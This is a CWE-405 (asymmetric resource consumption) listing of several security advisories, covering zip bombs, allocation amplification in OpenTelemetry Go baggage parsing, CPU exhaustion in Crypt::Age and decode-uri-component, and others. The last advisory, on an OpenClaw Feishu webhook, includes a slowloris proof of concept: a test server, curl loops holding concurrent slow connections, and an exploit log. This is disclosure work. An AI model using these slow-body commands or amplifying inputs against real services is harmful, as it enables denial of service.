CWE-405
Allowed-with-ReviewAsymmetric Resource Consumption (Amplification)
Abstraction: Class · Status: Incomplete
The product does not properly control situations in which an adversary can cause the product to consume or produce excessive resources without requiring the adversary to invest equivalent work or otherwise prove authorization, i.e., the adversary's influence is "asymmetric."
143 vulnerabilities reference this CWE, most recent first.
GHSA-R7FM-3PQM-WW5W
Vulnerability from github – Published: 2025-07-10 17:50 – Updated: 2025-07-10 23:21Impact
When decoding a scenario (i.e. a zip archive), the size of the decoded content is not checked, potentially leading to zip bombs decompression. Exploitation does not require authentication nor authorization, so anyone can exploit it. It should nonetheless not be exploitable as it is highly recommended to bury Chall-Manager deep within the infrastructure due to its large capabilities, so no users could reach the system.
Patches
Patch has been implemented by commit 14042aa and shipped in v0.1.4.
Workarounds
No workaround exist.
References
N/A.
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/ctfer-io/chall-manager"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.1.4"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-53633"
],
"database_specific": {
"cwe_ids": [
"CWE-405",
"CWE-409"
],
"github_reviewed": true,
"github_reviewed_at": "2025-07-10T17:50:25Z",
"nvd_published_at": "2025-07-10T20:15:27Z",
"severity": "HIGH"
},
"details": "### Impact\n\nWhen decoding a scenario (i.e. a zip archive), the size of the decoded content is not checked, potentially leading to zip bombs decompression.\nExploitation does not require authentication nor authorization, so anyone can exploit it. It should nonetheless not be exploitable as it is highly recommended to bury Chall-Manager deep within the infrastructure due to its large capabilities, so no users could reach the system.\n\n### Patches\n\nPatch has been implemented by [commit `14042aa`](https://github.com/ctfer-io/chall-manager/commit/14042aa66a577caee777e10fe09adcf2587d20dd) and shipped in [`v0.1.4`](https://github.com/ctfer-io/chall-manager/releases/tag/v0.1.4).\n\n### Workarounds\n\nNo workaround exist.\n\n### References\n\nN/A.",
"id": "GHSA-r7fm-3pqm-ww5w",
"modified": "2025-07-10T23:21:54Z",
"published": "2025-07-10T17:50:25Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/ctfer-io/chall-manager/security/advisories/GHSA-r7fm-3pqm-ww5w"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-53633"
},
{
"type": "WEB",
"url": "https://github.com/ctfer-io/chall-manager/commit/14042aa66a577caee777e10fe09adcf2587d20dd"
},
{
"type": "PACKAGE",
"url": "https://github.com/ctfer-io/chall-manager"
},
{
"type": "WEB",
"url": "https://github.com/ctfer-io/chall-manager/releases/tag/v0.1.4"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Chall-Manager\u0027s scenario decoding process does not check for zip bombs"
}
GHSA-RRFC-GJM9-CGRJ
Vulnerability from github – Published: 2026-11-13 19:08 – Updated: 2026-11-13 19:08Summary
OpenTelemetry Go eagerly materializes W3C baggage metadata into property objects during parsing. Slice growth, serialization, and copying into the internal representation cause bounded but disproportionate memory-allocation amplification for a valid, densely populated header. In v1.46.0 and v1.47.0-rc.1, the 8,192-byte raw-input limit is checked before member parsing; this is not unlimited allocation or a bypass of that limit.
A valid 8,191-byte value containing one member and 4,094 properties causes approximately 778 KB of cumulative allocation per parse. A corrected measurement with forced garbage collection before and after parsing retains approximately 164 KB per result while it remains live. These are different metrics: approximately 95 times the input in allocation traffic versus approximately 20 times in incremental live heap in the measured environment.
The relevant security configuration is a service that enables Baggage propagation and extracts attacker-controlled inbound context before authentication or on a public route. Concurrent or sustained requests can increase allocation and GC pressure. The evidence establishes allocation amplification, but does not establish reliable OOM, process termination, or complete denial of service.
This is a pre-existing, independent allocation-amplification path not addressed by GHSA-5wrp-cwcj-q835 / CVE-2026-41178. It predates that advisory; it is not described as having been introduced by its fix.
Affected module, versions, and symbols
- Go module:
go.opentelemetry.io/otel. - Import paths and entry points:
go.opentelemetry.io/otel/baggage.Parseandgo.opentelemetry.io/otel/propagation.Baggage.Extract. - Implementation:
parseMember, property-slice growth and serialization, and conversion intointernal/baggage.Item. - Source history places the eager-property implementation at commit
4bf6150fa94e18bdf01c96ed78ee6d1c76f8e308, first included inv1.0.0-RC1; the stable release line starts atv1.0.0. - Affected release range:
>= 1.0.0-RC1, < 1.47.0. - Patched release:
v1.47.0(https://github.com/open-telemetry/opentelemetry-go/pull/9024), which validates and normalizes W3C property metadata in place duringParseand materializesPropertystructs lazily only whenMember.Properties()is explicitly called. - Small parser measurements were run on
v1.0.0-RC1,v1.0.0,v1.46.0, andv1.47.0-rc.1; this is not a claim to have dynamically tested every intervening release. The v1.46.0 and v1.47.0-rc.1 parser source is identical to the inspected main commit901e812ec023f45f791cd4d49cfbbef353ae21ae.
Early releases have a 4,096-byte per-member limit. They reproduce the same mechanism with a 4,095-byte member containing 2,046 properties; the 8,191-byte single-member input is rejected there. The 8 KB example and its numerical allocation result must not be projected onto every historical version.
Root cause and input bounds
For the valid dense input, each short property becomes a Go Property, and the slice grows as parsing proceeds. The parser subsequently serializes the member and copies its properties into the internal representation. A two-byte wire fragment can therefore produce substantially more than two bytes of allocation work. Temporary parser objects and internal retained objects must not be added together and described as permanently retained memory.
In the currently measured parser, the raw 8,192-byte limit and 64-member limit still apply. The number of accepted properties is consequently bounded by input length even though there is no separate property-count guard. Eager representation and copying are the defect described here; the absence of an arbitrary count cap is not, by itself, the defect.
The primary input is constructed as "k=v" + strings.Repeat(";a", 4094) (8,191 bytes); the equal-size value-only control is "k=" + strings.Repeat("v", 8189). Call baggage.Parse once for each measured result. To verify the property count separately, inspect bag.Members()[0].Properties() outside the measured interval; this accessor itself allocates. The primary example remains the valid 8,191-byte, 4,094-property input already supplied in this private report. Empty-property input discussed in the maintainer review is malformed and is supplementary parser-hardening evidence, not the standards-compliant primary example or the basis of the severity score.
HTTP reachability and authentication ordering
The Go global propagator is initially a no-op. Installing the library alone does not expose this path. Baggage must be enabled explicitly or by applicable auto-configuration; standardized auto-configuration defaults do not establish an individual application's configuration.
An ordinary HTTP composition can place otelhttp.NewHandler outside the authentication handler. With propagation.Baggage{} enabled and the request not excluded by a filter, the checked otelhttp implementation calls h.propagators.Extract(r.Context(), propagation.HeaderCarrier(r.Header)) before next.ServeHTTP. Authentication inside next therefore runs after extraction, including for a request that is ultimately rejected with 401/403. Reversing the composition so authentication rejects before entering otelhttp prevents this unauthenticated extraction path. This is a source-level ordering check of a normal integration, not a claim about all services or an executed HTTP benchmark.
Source checked: otelhttp handler at ce138eb092f223e4e41e0420c58fc34910bc2b56, extraction at line 98 and downstream handler at line 185. A filter that bypasses instrumentation takes a separate path and is outside this stated composition.
Remote reachability requires all of the following: Baggage extraction is enabled; attacker-controlled input reaches it; the transport and proxy accept the relevant header size; and extraction runs before authentication or on a public route. Material service impact further depends on request rate, concurrency, request lifetime, GC behavior, and resource limits. Authentication is a mitigation only if it precedes extraction. A path that requires a properly authenticated triggering client must also be evaluated under the project's authenticated-client DoS exclusion.
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "go.opentelemetry.io/otel/baggage"
},
"ranges": [
{
"events": [
{
"introduced": "1.0.0-RC1"
},
{
"fixed": "1.47.0"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Go",
"name": "go.opentelemetry.io/otel/propagation"
},
"ranges": [
{
"events": [
{
"introduced": "1.0.0-RC1"
},
{
"fixed": "1.47.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-128086"
],
"database_specific": {
"cwe_ids": [
"CWE-400",
"CWE-405"
],
"github_reviewed": true,
"github_reviewed_at": "2026-11-13T19:08:10Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "## Summary\n\nOpenTelemetry Go eagerly materializes W3C baggage metadata into property objects during parsing. Slice growth, serialization, and copying into the internal representation cause **bounded but disproportionate memory-allocation amplification** for a valid, densely populated header. In v1.46.0 and v1.47.0-rc.1, the 8,192-byte raw-input limit is checked before member parsing; this is not unlimited allocation or a bypass of that limit.\n\nA valid 8,191-byte value containing one member and 4,094 properties causes approximately 778 KB of cumulative allocation per parse. A corrected measurement with forced garbage collection before and after parsing retains approximately 164 KB per result while it remains live. These are different metrics: approximately 95 times the input in allocation traffic versus approximately 20 times in incremental live heap in the measured environment.\n\nThe relevant security configuration is a service that enables Baggage propagation and extracts attacker-controlled inbound context before authentication or on a public route. Concurrent or sustained requests can increase allocation and GC pressure. The evidence establishes allocation amplification, but does not establish reliable OOM, process termination, or complete denial of service.\n\nThis is a **pre-existing, independent allocation-amplification path not addressed by GHSA-5wrp-cwcj-q835 / CVE-2026-41178**. It predates that advisory; it is not described as having been introduced by its fix.\n\n## Affected module, versions, and symbols\n\n- Go module: `go.opentelemetry.io/otel`.\n- Import paths and entry points: `go.opentelemetry.io/otel/baggage.Parse` and `go.opentelemetry.io/otel/propagation.Baggage.Extract`.\n- Implementation: `parseMember`, property-slice growth and serialization, and conversion into `internal/baggage.Item`.\n- Source history places the eager-property implementation at commit `4bf6150fa94e18bdf01c96ed78ee6d1c76f8e308`, first included in `v1.0.0-RC1`; the stable release line starts at `v1.0.0`.\n- Affected release range: `\u003e= 1.0.0-RC1, \u003c 1.47.0`.\n- Patched release: `v1.47.0` (https://github.com/open-telemetry/opentelemetry-go/pull/9024), which validates and normalizes W3C property metadata in place during `Parse` and materializes `Property` structs lazily only when `Member.Properties()` is explicitly called.\n- Small parser measurements were run on `v1.0.0-RC1`, `v1.0.0`, `v1.46.0`, and `v1.47.0-rc.1`; this is not a claim to have dynamically tested every intervening release. The v1.46.0 and v1.47.0-rc.1 parser source is identical to the inspected main commit `901e812ec023f45f791cd4d49cfbbef353ae21ae`.\n\nEarly releases have a 4,096-byte per-member limit. They reproduce the same mechanism with a 4,095-byte member containing 2,046 properties; the 8,191-byte single-member input is rejected there. The 8 KB example and its numerical allocation result must not be projected onto every historical version.\n\n## Root cause and input bounds\n\nFor the valid dense input, each short property becomes a Go `Property`, and the slice grows as parsing proceeds. The parser subsequently serializes the member and copies its properties into the internal representation. A two-byte wire fragment can therefore produce substantially more than two bytes of allocation work. Temporary parser objects and internal retained objects must not be added together and described as permanently retained memory.\n\nIn the currently measured parser, the raw 8,192-byte limit and 64-member limit still apply. The number of accepted properties is consequently bounded by input length even though there is no separate property-count guard. **Eager representation and copying are the defect described here; the absence of an arbitrary count cap is not, by itself, the defect.**\n\nThe primary input is constructed as `\"k=v\" + strings.Repeat(\";a\", 4094)` (8,191 bytes); the equal-size value-only control is `\"k=\" + strings.Repeat(\"v\", 8189)`. Call `baggage.Parse` once for each measured result. To verify the property count separately, inspect `bag.Members()[0].Properties()` outside the measured interval; this accessor itself allocates. The primary example remains the valid 8,191-byte, 4,094-property input already supplied in this private report. Empty-property input discussed in the maintainer review is malformed and is supplementary parser-hardening evidence, not the standards-compliant primary example or the basis of the severity score.\n\n## HTTP reachability and authentication ordering\n\nThe Go global propagator is initially a no-op. Installing the library alone does not expose this path. Baggage must be enabled explicitly or by applicable auto-configuration; standardized auto-configuration defaults do not establish an individual application\u0027s configuration.\n\nAn ordinary HTTP composition can place `otelhttp.NewHandler` outside the authentication handler. With `propagation.Baggage{}` enabled and the request not excluded by a filter, the checked `otelhttp` implementation calls `h.propagators.Extract(r.Context(), propagation.HeaderCarrier(r.Header))` before `next.ServeHTTP`. Authentication inside `next` therefore runs after extraction, including for a request that is ultimately rejected with 401/403. Reversing the composition so authentication rejects before entering `otelhttp` prevents this unauthenticated extraction path. This is a source-level ordering check of a normal integration, not a claim about all services or an executed HTTP benchmark.\n\nSource checked: [otelhttp handler at ce138eb092f223e4e41e0420c58fc34910bc2b56, extraction at line 98 and downstream handler at line 185](https://github.com/open-telemetry/opentelemetry-go-contrib/blob/ce138eb092f223e4e41e0420c58fc34910bc2b56/instrumentation/net/http/otelhttp/handler.go#L98). A filter that bypasses instrumentation takes a separate path and is outside this stated composition.\n\nRemote reachability requires all of the following: Baggage extraction is enabled; attacker-controlled input reaches it; the transport and proxy accept the relevant header size; and extraction runs before authentication or on a public route. Material service impact further depends on request rate, concurrency, request lifetime, GC behavior, and resource limits. Authentication is a mitigation only if it precedes extraction. A path that requires a properly authenticated triggering client must also be evaluated under the project\u0027s authenticated-client DoS exclusion.",
"id": "GHSA-rrfc-gjm9-cgrj",
"modified": "2026-11-13T19:08:10Z",
"published": "2026-11-13T19:08:10Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/open-telemetry/opentelemetry-go/security/advisories/GHSA-rrfc-gjm9-cgrj"
},
{
"type": "WEB",
"url": "https://github.com/open-telemetry/opentelemetry-go/pull/9024"
},
{
"type": "WEB",
"url": "https://github.com/open-telemetry/opentelemetry-go/commit/f09d1de32f4ac7e5ef16394533721106b1a57b89"
},
{
"type": "PACKAGE",
"url": "https://github.com/open-telemetry/opentelemetry-go"
},
{
"type": "WEB",
"url": "https://github.com/open-telemetry/opentelemetry-go/releases/tag/v1.47.0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
"type": "CVSS_V3"
}
],
"summary": "OpenTelemetry-Go: Eager W3C baggage-property materialization causes bounded memory-allocation amplification"
}
GHSA-RVHP-9HPJ-RH7C
Vulnerability from github – Published: 2026-10-21 00:32 – Updated: 2026-10-30 15:34Crypt::Age versions before 0.004 for Perl allow CPU exhaustion via an unbounded number of recipient stanzas, each costing an X25519 scalar multiplication in unwrap_file_key.
The header parser accepts any number of recipient stanzas, and unwrap_file_key tries every identity against every X25519 stanza. Each attempt runs a scalar multiplication, an HKDF and a ChaCha20-Poly1305 open. The header MAC cannot be checked first, because its key comes from the file key, which only a successful unwrap produces.
Each stanza is 98 bytes of attacker-chosen header and buys one scalar multiplication per identity held, and the file is rejected only after every one of them has run. A caller reaches this through decrypt, decrypt_file or decrypt_filehandle whenever it decrypts a file it did not write.
{
"affected": [],
"aliases": [
"CVE-2026-85783"
],
"database_specific": {
"cwe_ids": [
"CWE-405"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-10-20T22:20:05Z",
"severity": "HIGH"
},
"details": "Crypt::Age versions before 0.004 for Perl allow CPU exhaustion via an unbounded number of recipient stanzas, each costing an X25519 scalar multiplication in unwrap_file_key.\n\nThe header parser accepts any number of recipient stanzas, and unwrap_file_key tries every identity against every X25519 stanza. Each attempt runs a scalar multiplication, an HKDF and a ChaCha20-Poly1305 open. The header MAC cannot be checked first, because its key comes from the file key, which only a successful unwrap produces.\n\nEach stanza is 98 bytes of attacker-chosen header and buys one scalar multiplication per identity held, and the file is rejected only after every one of them has run. A caller reaches this through decrypt, decrypt_file or decrypt_filehandle whenever it decrypts a file it did not write.",
"id": "GHSA-rvhp-9hpj-rh7c",
"modified": "2026-10-30T15:34:10Z",
"published": "2026-10-21T00:32:59Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-85783"
},
{
"type": "WEB",
"url": "https://metacpan.org/release/GETTY/Crypt-Age-0.004/changes"
},
{
"type": "WEB",
"url": "http://www.openwall.com/lists/oss-security/2026/10/20/39"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-RVP5-CHFC-GRQ8
Vulnerability from github – Published: 2025-12-09 18:30 – Updated: 2025-12-09 18:30SAPUI5 (and OpenUI5) packages use outdated 3rd party libraries with known security vulnerabilities. When markdown-it encounters special malformed input, it fails to terminate properly, resulting in an infinite loop. This Denial of Service via infinite loop causes high CPU usage and system unresponsiveness due to a blocked processing thread. This vulnerability has no impact on confidentiality or integrity but has a high impact on system availability.
{
"affected": [],
"aliases": [
"CVE-2025-42873"
],
"database_specific": {
"cwe_ids": [
"CWE-405"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-12-09T16:17:51Z",
"severity": "MODERATE"
},
"details": "SAPUI5 (and OpenUI5) packages use outdated 3rd party libraries with known security vulnerabilities. When markdown-it encounters special malformed input, it fails to terminate properly, resulting in an infinite loop. This Denial of Service via infinite loop causes high CPU usage and system unresponsiveness due to a blocked processing thread. This vulnerability has no impact on confidentiality or integrity but has a high impact on system availability.",
"id": "GHSA-rvp5-chfc-grq8",
"modified": "2025-12-09T18:30:37Z",
"published": "2025-12-09T18:30:37Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-42873"
},
{
"type": "WEB",
"url": "https://me.sap.com/notes/3676970"
},
{
"type": "WEB",
"url": "https://url.sap/sapsecuritypatchday"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-VCC3-GHJQ-M6FR
Vulnerability from github – Published: 2026-08-31 22:10 – Updated: 2026-08-31 22:10Impact
An attacker who can supply input to decodeUriComponent() (directly or via a dependency that uses this package on URL/query/path data) can cause excessive CPU usage and application unresponsiveness. This is an availability issue; there is no known memory corruption, data disclosure, or remote code execution impact.
Patches
Upgrade to decode-uri-component@0.5.0.
Workarounds
Limit the size of the input.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 0.4.2"
},
"package": {
"ecosystem": "npm",
"name": "decode-uri-component"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.5.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-45822"
],
"database_specific": {
"cwe_ids": [
"CWE-1176",
"CWE-400",
"CWE-405",
"CWE-407"
],
"github_reviewed": true,
"github_reviewed_at": "2026-08-31T22:10:20Z",
"nvd_published_at": "2026-06-30T09:16:25Z",
"severity": "MODERATE"
},
"details": "### Impact\nAn attacker who can supply input to `decodeUriComponent()` (directly or via a dependency that uses this package on URL/query/path data) can cause excessive CPU usage and application unresponsiveness. This is an availability issue; there is no known memory corruption, data disclosure, or remote code execution impact.\n\n### Patches\nUpgrade to `decode-uri-component@0.5.0`.\n\n### Workarounds\nLimit the size of the input.",
"id": "GHSA-vcc3-ghjq-m6fr",
"modified": "2026-08-31T22:10:20Z",
"published": "2026-08-31T22:10:20Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/SamVerschueren/decode-uri-component/security/advisories/GHSA-vcc3-ghjq-m6fr"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-45822"
},
{
"type": "WEB",
"url": "https://github.com/SamVerschueren/decode-uri-component/commit/fa479dafeede7bedf04e5c89aa78f2a78c664005"
},
{
"type": "PACKAGE",
"url": "https://github.com/SamVerschueren/decode-uri-component"
},
{
"type": "WEB",
"url": "https://github.com/SamVerschueren/decode-uri-component/blob/00662938dc7c6241547ae8abce7785cc13ffd3f6/index.js"
},
{
"type": "WEB",
"url": "https://github.com/SamVerschueren/decode-uri-component/releases/tag/v0.5.0"
},
{
"type": "WEB",
"url": "https://www.npmjs.com/package/decode-uri-component"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:U/S:N/AU:Y/R:U/V:D/RE:M/U:Amber",
"type": "CVSS_V4"
}
],
"summary": "decode-uri-component: Denial of service via exponential decoding of malformed percent-encoded input"
}
GHSA-VPFG-GC96-VG45
Vulnerability from github – Published: 2026-05-19 15:31 – Updated: 2026-05-19 15:31Technitium DNS Server aggressively tries to fetch missing RRSIG records or mismatched DNSKEY records. An attacker in control of a domain can cause a vulnerable system to generate excessive network traffic. Fixed in 15.0.
{
"affected": [],
"aliases": [
"CVE-2026-45557"
],
"database_specific": {
"cwe_ids": [
"CWE-405"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-05-19T15:16:31Z",
"severity": "MODERATE"
},
"details": "Technitium DNS Server aggressively tries to fetch missing RRSIG records or mismatched DNSKEY records. An attacker in control of a domain can cause a vulnerable system to generate excessive network traffic. Fixed in 15.0.",
"id": "GHSA-vpfg-gc96-vg45",
"modified": "2026-05-19T15:31:36Z",
"published": "2026-05-19T15:31:36Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-45557"
},
{
"type": "WEB",
"url": "https://github.com/TechnitiumSoftware/DnsServer/blo/master/CHANGELOG.md#version-150"
},
{
"type": "WEB",
"url": "https://raw.githubusercontent.com/cisagov/CSAF/develop/csaf_files/IT/white/2025/va-26-138-02.json"
},
{
"type": "WEB",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-45557"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:N/A:L",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:L/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-VW5P-8CQ8-M7MV
Vulnerability from github – Published: 2026-01-15 18:10 – Updated: 2026-01-15 22:33Summary
Certain inputs can cause devalue.parse to consume excessive CPU time and/or memory, potentially leading to denial of service in systems that parse input from untrusted sources. This affects applications using devalue.parse on externally-supplied data. The root cause is the typed array hydration expecting an ArrayBuffer as input, but not checking the assumption before creating the typed array.
Details
The parser's typed array hydration logic does not properly validate input before processing. Specially crafted inputs can cause disproportionate memory allocation or CPU usage on the receiving system.
Impact
This is a denial of service vulnerability affecting systems that use devalue.parse to handle data from potentially untrusted sources.
Affected systems should upgrade to patched versions immediately.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 5.6.1"
},
"package": {
"ecosystem": "npm",
"name": "devalue"
},
"ranges": [
{
"events": [
{
"introduced": "5.3.0"
},
{
"fixed": "5.6.2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-22774"
],
"database_specific": {
"cwe_ids": [
"CWE-20",
"CWE-405"
],
"github_reviewed": true,
"github_reviewed_at": "2026-01-15T18:10:15Z",
"nvd_published_at": "2026-01-15T19:16:05Z",
"severity": "HIGH"
},
"details": "## Summary\n\nCertain inputs can cause `devalue.parse` to consume excessive CPU time and/or memory, potentially leading to denial of service in systems that parse input from untrusted sources. This affects applications using `devalue.parse` on externally-supplied data. The root cause is the typed array hydration expecting an `ArrayBuffer` as input, but not checking the assumption before creating the typed array.\n\n## Details\n\nThe parser\u0027s typed array hydration logic does not properly validate input before processing. Specially crafted inputs can cause disproportionate memory allocation or CPU usage on the receiving system.\n\n## Impact\n\nThis is a denial of service vulnerability affecting systems that use `devalue.parse` to handle data from potentially untrusted sources.\n\nAffected systems should upgrade to patched versions immediately.",
"id": "GHSA-vw5p-8cq8-m7mv",
"modified": "2026-01-15T22:33:39Z",
"published": "2026-01-15T18:10:15Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/sveltejs/devalue/security/advisories/GHSA-vw5p-8cq8-m7mv"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-22774"
},
{
"type": "WEB",
"url": "https://github.com/sveltejs/devalue/commit/11755849fa0634ae294a15ec0aef2f43efcad7c4"
},
{
"type": "WEB",
"url": "https://github.com/sveltejs/devalue/commit/e46afa64dd2b25aa35fb905ba5d20cea63aabbf7"
},
{
"type": "PACKAGE",
"url": "https://github.com/sveltejs/devalue"
},
{
"type": "WEB",
"url": "https://github.com/sveltejs/devalue/releases/tag/v5.6.2"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "Devalue is vulnerable to denial of service due to memory exhaustion in devalue.parse"
}
GHSA-W6M8-CQVJ-PG5V
Vulnerability from github – Published: 2026-03-30 18:32 – Updated: 2026-04-10 19:44Fixed in OpenClaw 2026.3.24, the current shipping release.
Advisory Details
Title: Incomplete Fix for CVE-2026-32011: Feishu Webhook Pre-Auth Body Parsing DoS (Slow-Body / Slowloris Variant)
Description:
Summary
The patch for CVE-2026-32011 tightened pre-auth body parsing limits (from 1MB/30s to 64KB/5s) across several webhook handlers. However, the Feishu extension's webhook handler was not included in the patch and still accepts request bodies with the old permissive limits (1MB body, 30-second timeout) before verifying the webhook signature. An unauthenticated attacker can exhaust server connection resources by sending concurrent slow HTTP POST requests to the Feishu webhook endpoint.
Details
In extensions/feishu/src/monitor.ts, the webhook HTTP handler uses installRequestBodyLimitGuard with permissive limits at lines 276-278:
const FEISHU_WEBHOOK_MAX_BODY_BYTES = 1024 * 1024; // 1MB (line 26)
const FEISHU_WEBHOOK_BODY_TIMEOUT_MS = 30_000; // 30s (line 27)
// ... in monitorWebhook(), line 276-278:
const guard = installRequestBodyLimitGuard(req, res, {
maxBytes: FEISHU_WEBHOOK_MAX_BODY_BYTES, // 1MB
timeoutMs: FEISHU_WEBHOOK_BODY_TIMEOUT_MS, // 30s
responseFormat: "text",
});
The body guard is installed at line 276 before the request reaches the Lark SDK's adaptDefault webhook handler (line 284), which performs signature verification. This means:
- Any unauthenticated HTTP POST is accepted
- The server waits up to 30 seconds for the body to arrive
- Each connection can buffer up to 1MB
- Authentication only happens after the body is fully read
The patched handlers (Mattermost, MSTeams, Google Chat, etc.) now use tight pre-auth limits:
const PREAUTH_MAX_BODY_BYTES = 64 * 1024; // 64KB
const PREAUTH_BODY_TIMEOUT_MS = 5_000; // 5s
The Feishu extension was missed because it resides in extensions/feishu/ (a plugin workspace) rather than in the core src/ directory.
Attack chain:
[Attacker sends slow HTTP POST to /feishu/events]
→ Rate limit check: passes (under 120 req/min)
→ Content-Type check: application/json, passes
→ installRequestBodyLimitGuard(1MB, 30s): installed
→ Body trickles at 1 byte/sec for 30 seconds
→ × 50 concurrent connections = connection exhaustion
→ Legitimate Feishu webhook deliveries blocked
PoC
Prerequisites: Docker installed.
Step 1: Create a minimal test server reproducing the vulnerable body parsing:
cat > /tmp/feishu_webhook_server.js << 'EOF'
const http = require("http");
const VULN_TIMEOUT = 30_000; // Vulnerable: 30s (same as Feishu handler)
const PATCH_TIMEOUT = 5_000; // Patched: 5s (what it should be)
function bodyGuard(req, res, timeoutMs) {
let done = false;
const timer = setTimeout(() => {
if (!done) { done = true; res.statusCode = 408; res.end("Request body timeout"); req.destroy(); }
}, timeoutMs);
req.on("end", () => { done = true; clearTimeout(timer); });
req.on("close", () => { done = true; clearTimeout(timer); });
}
http.createServer((req, res) => {
if (req.url === "/healthz") { res.end("OK"); return; }
if (req.method !== "POST") { res.writeHead(405); res.end(); return; }
const timeout = req.url === "/feishu/events" ? VULN_TIMEOUT : PATCH_TIMEOUT;
console.log(`[${req.url}] +conn`);
bodyGuard(req, res, timeout);
res.on("finish", () => console.log(`[${req.url}] -conn`));
}).listen(3000, () => console.log("Listening on :3000"));
EOF
node /tmp/feishu_webhook_server.js &
sleep 1
Step 2: Verify the vulnerability — slow body holds connection for the full timeout:
# Vulnerable endpoint: connection stays open for ~10 seconds (max 30s)
time (echo -n '{"t":"'; sleep 10; echo '"}') | \
curl -s -o /dev/null -w "status: %{http_code}\n" \
-X POST http://localhost:3000/feishu/events \
-H "Content-Type: application/json" \
-H "Content-Length: 65536" \
--data-binary @- --max-time 35
# Patched endpoint: connection terminated after ~5s
time (echo -n '{"t":"'; sleep 10; echo '"}') | \
curl -s -o /dev/null -w "status: %{http_code}\n" \
-X POST http://localhost:3000/patched/events \
-H "Content-Type: application/json" \
-H "Content-Length: 65536" \
--data-binary @- --max-time 35
Step 3: Batch exploit — 10 concurrent slow connections:
for i in $(seq 1 10); do
(echo -n 'A'; sleep 15) | \
curl -s -o /dev/null -X POST http://localhost:3000/feishu/events \
-H "Content-Type: application/json" \
-H "Content-Length: 65536" \
--data-binary @- --max-time 35 &
done
wait
Log of Evidence
Exploit result (vulnerable /feishu/events):
=== Feishu Webhook Pre-Auth Slow-Body DoS ===
Target: localhost:3000/feishu/events
Concurrent connections: 10
[conn-0] held open for 15.0s (15B sent) [SUCCESS]
[conn-1] held open for 15.0s (15B sent) [SUCCESS]
[conn-2] held open for 15.0s (15B sent) [SUCCESS]
[conn-3] held open for 15.0s (15B sent) [SUCCESS]
[conn-4] held open for 15.0s (15B sent) [SUCCESS]
[conn-5] held open for 15.0s (15B sent) [SUCCESS]
[conn-6] held open for 15.0s (15B sent) [SUCCESS]
[conn-7] held open for 15.0s (15B sent) [SUCCESS]
[conn-8] held open for 15.0s (15B sent) [SUCCESS]
[conn-9] held open for 15.0s (15B sent) [SUCCESS]
=== Results ===
Connections held open (SUCCESS): 10/10
[SUCCESS] Pre-auth slow-body DoS confirmed!
Control result (patched /patched/events with 5s timeout):
=== CONTROL: Patched Webhook Body Limits (64KB/5s) ===
Target: localhost:3000/patched/events
[conn-0] RESET after 8.0s (8B)
[conn-1] RESET after 8.0s (8B)
...
[conn-9] RESET after 8.0s (8B)
Avg connection hold time: 8.0s (5s timeout + stagger delay)
Server-side Docker logs confirming the discrepancy:
[feishu-vulnerable] +conn (active: 1)
[feishu-vulnerable] +conn (active: 10) ← No disconnections during 15s attack
[patched-control] +conn (active: 20)
